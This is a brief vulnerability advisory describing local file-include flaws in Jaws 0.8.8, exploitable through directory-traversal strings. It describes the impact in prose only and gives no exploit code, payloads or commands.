Discussion
Jaws Multiple Local File Include Vulnerabilities
Jaws is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files and execute local scripts within the context of the webserver process. A successful attack can allow the attacker to obtain sensitive information or gain unauthorized access to an affected computer in the context of the vulnerable server.
Jaws 0.8.8 is vulnerable; other versions may also be affected.
